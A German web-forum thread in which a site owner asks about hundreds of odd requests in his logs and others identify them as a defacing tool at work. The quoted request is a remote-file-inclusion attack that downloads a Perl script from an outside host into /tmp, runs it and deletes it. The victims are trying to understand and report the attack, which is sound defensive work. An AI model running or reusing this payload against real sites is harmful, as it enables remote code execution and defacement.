[peppy]

Mahlzeit,

seit ein paar Tagen habe ich hunterte von folgenden Refers
in meiner Statistik der Internetseite www.walsumer.de:

/index.php?x=http://61.1.197.244/x/tool25.txt?&cmd=cd%20/tmp/;curl%20-o%20xi.txt%20http://home.arcor.de/ wolfgangbrueggmann/xi.txt;perl%20xi.txt;rm%20-rf%20xi.txt*?

Habt ihr eine Ahnung, was das soll?

[edit]
Verschoben von Allgemeines - Nonprint nach Web-Hosting und Internetzugang

[shakadi]

http://61.1.197.244/x/tool25.txt -> http://61.1.197.244/x/therules25.txt
http://home.arcor.de/wolfgangbrueggmann/.suspend.shtml

Hmm, sieht ja irgendwie nach nem script aus => "Defacing Tool Pro". => bzw. Defacing Tool 2.5 Google
Der Nutzer des Tools treibt ja irgengwie nicht nur bei dir sein Unwesen: revengans@gmail.com

[peppy]

Habe noch folgendes dazu gefunden:
http://www.philippinehoneynet.org/dataarchive.php?date=2006-01-20

Die IP des aufrufenden Servers habe ich auch. Wie würdet ihr
jetzt vorgehen? Den Provider der Servers anschreiben?